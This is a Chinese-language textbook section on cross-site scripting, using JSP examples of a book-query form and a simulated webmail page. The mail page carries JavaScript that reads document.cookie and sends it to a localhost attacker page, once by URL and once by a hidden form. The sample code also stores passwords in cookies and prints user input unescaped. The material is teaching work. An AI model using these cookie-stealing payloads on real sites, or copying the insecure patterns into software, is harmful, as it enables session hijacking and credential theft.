8.4 Web跨站腳本攻擊
8.4.1 跨站腳本攻擊的原理(1)
跨站腳本在英文中稱為Cross-Site Scripting,縮寫為CSS。但是,由於層疊樣式表 (Cascading Style Sheets)的縮寫也為CSS,為不與其混淆,特將跨站腳本縮寫為XSS。
跨站腳本,顧名思義,就是惡意攻擊者利用網站漏洞往Web頁面里插入惡意代碼,一般需要以下幾個條件:
客戶端訪問的網站是一個有漏洞的網站,但是他沒有意識到;
在這個網站中通過一些手段放入一段可以執行的代碼,吸引客戶執行(通過鼠標點擊等);
客戶點擊后,代碼執行,可以達到攻擊目的。
XSS屬於被動式的攻擊。為了讓讀者了解XSS,首先我們舉一個簡單的例子。有一個應用,負責進行書本查詢,代碼如下:
query.jsp
1 <%@ page language="java" import="java.util.*" 2 pageEncoding="gb2312"%> 3 歡迎查詢書本 4 <form action="queryResult.jsp" method="post"> 5 請您輸入書本的信息:<BR> 6 <input name="book" type="text" size="50"> 7 <input type="submit" value="查詢"> 8 </form>
運行結果如下:
運行query.jsp,輸入正常數據,如"安全編程技術":
![]() |
提交,顯示的結果是:
![]() |
結果沒有問題。但是該程序有漏洞。比如,客戶輸入"<I><FONT SIZE=7>Java</FONT></I>":
![]() |
查詢顯示的結果為:
![]() |
該問題是網站對輸入的內容沒有進行任何標記檢查造成的。打開queryResult.jsp的客戶端源代碼,顯示為:
![]() |
更有甚者,我們可以輸入某個網站上的一幅圖片地址(此處引用google首頁上的logo圖片):
![]() |
顯示結果為:
![]() |
很顯然,結果很不正常!
以上只是說明了該表單提交沒有對標記進行檢查,還沒有起到攻擊的作用。為了進行攻擊,我們將輸入變成腳本:
![]() |
8.4.1 跨站腳本攻擊的原理(2)
提交,結果為:
![]() |
說明腳本也可以執行,打開queryResult.jsp客戶端源代碼,為:
![]() |
於是,程序可以讓攻擊者利用腳本進行一些隱秘信息的獲取了!輸入如下查詢關鍵字:
![]() |
提交,得到結果:
![]() |
消息框中,將當前登錄的sessionId顯示出來了。很顯然,該sessionId如果被攻擊者知道,就可以訪問服務器端的該用戶session,獲取一些信息。
提示
在JSP系列中, sessionId保存在Cookie中。
實際的攻擊是怎樣進行的呢?如前所述,攻擊者為了得到客戶的隱秘信息,一般會在網站中通過一些手段放入一段可以執行的代碼,吸引客戶執行(通過鼠標點擊等);客戶點擊后,代碼執行,可以達到攻擊目的。比如,可以給客戶發送一個郵件,吸引客戶點擊某個鏈接。
以下模擬了一個通過郵件點擊鏈接的攻擊過程。攻擊者給客戶發送一個郵件,並且在電子郵件中,通過某個利益的誘惑,鼓動用戶盡快訪問某個網站,並在郵件中給一個地址鏈接,這個鏈接的URL中含有腳本,客戶在點擊的過程中,就執行了這段代碼。
我們模擬一個郵箱系統,首先是用戶登錄頁面,當用戶登錄成功后,為了以后操作方便,該網站采用了"記住登錄狀態"的功能,將自己的用戶名和密碼放入cookie,並保存在客戶端:
login.jsp
1 <%@ page language="java" import="java.util.*" 2 pageEncoding="gb2312"%> 3 歡迎登錄郵箱 4 <form action="login.jsp" method="post"> 5 請您輸入賬號: 6 <input name="account" type="text"> 7 <BR> 8 請您輸入密碼: 9 <input name="password" type="password"> 10 <BR> 11 <input type="submit" value="登錄"> 12 </form> 13 <% 14 //獲取賬號密碼 15 String account = request.getParameter("account"); 16 String password = request.getParameter("password"); 17 if(account!=null) 18 { 19 //驗證賬號密碼,假如賬號密碼相同表示登錄成功 20 if(account.equals(password)) 21 { 22 //放入session,跳轉到下一個頁面 23 session.setAttribute("account",account); 24 //將自己的用戶名和密碼放入cookie 25 response.addCookie(new Cookie("account",account)); 26 response.addCookie(new Cookie("password",password)); 27 response.sendRedirect("loginResult.jsp"); 28 } 29 else 30 { 31 out.println("登錄不成功"); 32 } 33 } 34 %>
8.4.1 跨站腳本攻擊的原理(3)
運行,得到界面如下:
![]() |
輸入正確的賬號密碼(如guokehua,guokehua),如果登錄成功,程序跳到loginResult.jsp,並在頁面底部有一個"查看郵件"鏈接(當然,可能還有其他功能,在此省略)。代碼如下:
loginResult.jsp
1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%> 2 <%//session檢查 3 String account = (String)session.getAttribute("account"); 4 if(account==null) 5 { 6 response.sendRedirect("login.jsp"); 7 } 8 %> 9 歡迎<%=account%>來到郵箱! 10 <HR> 11 <a href="mailList.jsp">查看郵箱</a>
運行效果如下:
![]() |
為了模擬攻擊,點擊"查看郵箱",我們在里面放置一封"郵件"(該郵件的內容由攻擊者撰寫)。代碼如下:
mailList.jsp
1 <%@ page language="java" import="java.util.*" pageEncoding="gb2312"%> 2 <% 3 //session檢查,代碼略 4 %> 5 <!—以下是攻擊者發送的一個郵件--> 6 這里有一封新郵件,您中獎了,您有興趣的話可以點擊:<BR> 7 <script type="text/javascript"> 8 function send() 9 { 10 var cookie = document.cookie; 11 window.location.href = " 12 http://localhost/attackPage.asp?cookies=" + cookie; 13 } 14 </script> 15 <a onClick="send()"><u>領獎</u></a>
效果如下:
![]() |
注意,這里的"領獎"鏈接,鏈接到另一個網站,該網站一般是攻擊者自行建立。,為了保證真實性,我們在IIS下用ASP寫了一個網頁,因為攻擊者頁面和被攻擊者頁面一般不是在一個網站內,其URL為:
1 http://localhost/attackPage.asp
很明顯,如果用戶點擊,腳本中的send函數會運行,並將內容發送給http://localhost/attackPage.asp。假設http://localhost/attackPage.asp的源代碼如下:
http://localhost/attackPage.asp
1 <%@ Language = "VBScript" %> 2 這是模擬的攻擊網站(IIS)<BR> 3 剛才從用戶處得到的cookie值為:<BR> 4 <%=request("cookies")%>
注意,attackPage.asp要在IIS中運行,和前面的例子運行的不是一個服務器。
用戶如果點擊了"領獎"鏈接,attackPage.jsp上顯示:
![]() |
Cookie中的所有值都被攻擊者知道了!特別是sessionId的泄露,說明攻擊者還具有了訪問session的可能!
此時,客戶瀏覽器的地址欄上URL變為(讀者運行時,具體內容可能不一樣,但是基本效果相同):
http://localhost/attackPage.asp?cookies=account
=guokehua;%20password=guokehua;%20JSESSIONID=
135766E8D33B380E426126474E28D9A9;%2
0ASPSESSIONIDQQCADQDT=KFELIGFCPPGPHLFEDCKIPKDF
8.4.1 跨站腳本攻擊的原理(4)
從這個含有惡意的腳本的URL中,比較容易發現受到了攻擊,因為URL后面的查詢字符串一眼就能看出來。聰明的攻擊者還可以將腳本用隱藏表單隱藏起來。將mailList.jsp的代碼改為:
mailList.jsp
1 <%@ page language="java" import="java.util.*" 2 pageEncoding="gb2312"%> 3 <% 4 //session檢查,代碼略 5 %> 6 <!—以下是攻擊者發送的一個郵件--> 7 這里有一封新郵件,您中獎了,請您填寫您的姓名並且提交:<BR> 8 <script type="text/javascript"> 9 function send() 10 { 11 var cookie = document.cookie; 12 document.form1.cookies.value=cookie; 13 document.form1.submit(); 14 } 15 </script> 16 <form name="form1" action="http:// 17 localhost/attackPage.asp" method="post"> 18 輸入姓名:<input name=""> 19 <input type="hidden" name="cookies"> 20 <input type="button" value="提交姓名" onClick="send()"> 21 </form>
該處將腳本用隱藏表單隱藏起來。輸入姓名的文本框只是一個偽裝。效果為:
![]() |
attackPage.asp不變。不管你輸入什么姓名,到達attackPage.asp都會顯示:
![]() |
也可以達到攻擊目的。而此時,瀏覽器地址欄中顯示為:
![]() |
用戶不知不覺受到了攻擊。
提示
實際攻擊的過程中,cookie的值可以被攻擊者保存到數據庫或者通過其他手段得知,也就是說,cookie的值不可能直接在攻擊頁面上顯示,否則很容易被用戶發現,這里只是模擬。
從以上例子可以看出,XSS可以誘使Web站點執行本來不屬於它的代碼,而這些行代碼由攻擊者提供、為用戶瀏覽器加載,攻擊者利用這些代碼執行來獲取信息。XSS涉及到三方,即攻擊者、客戶端與客戶端訪問的網站。XSS的攻擊目標是盜取客戶端的敏感信息。從本質上講,XSS漏洞終究原因是由於網站的Web應用對用戶提交請求參數未做充分的檢查過濾。
8.4.2 跨站腳本攻擊的危害
XSS攻擊的主要危害包括:
盜取用戶的各類敏感信息,如賬號密碼等;
讀取、篡改、添加、刪除企業敏感數據;
讀取企業重要的具有商業價值的資料;
控制受害者機器向其它網站發起攻擊;等等。(本文轉自http://book.51cto.com/art/201102/245119.htm)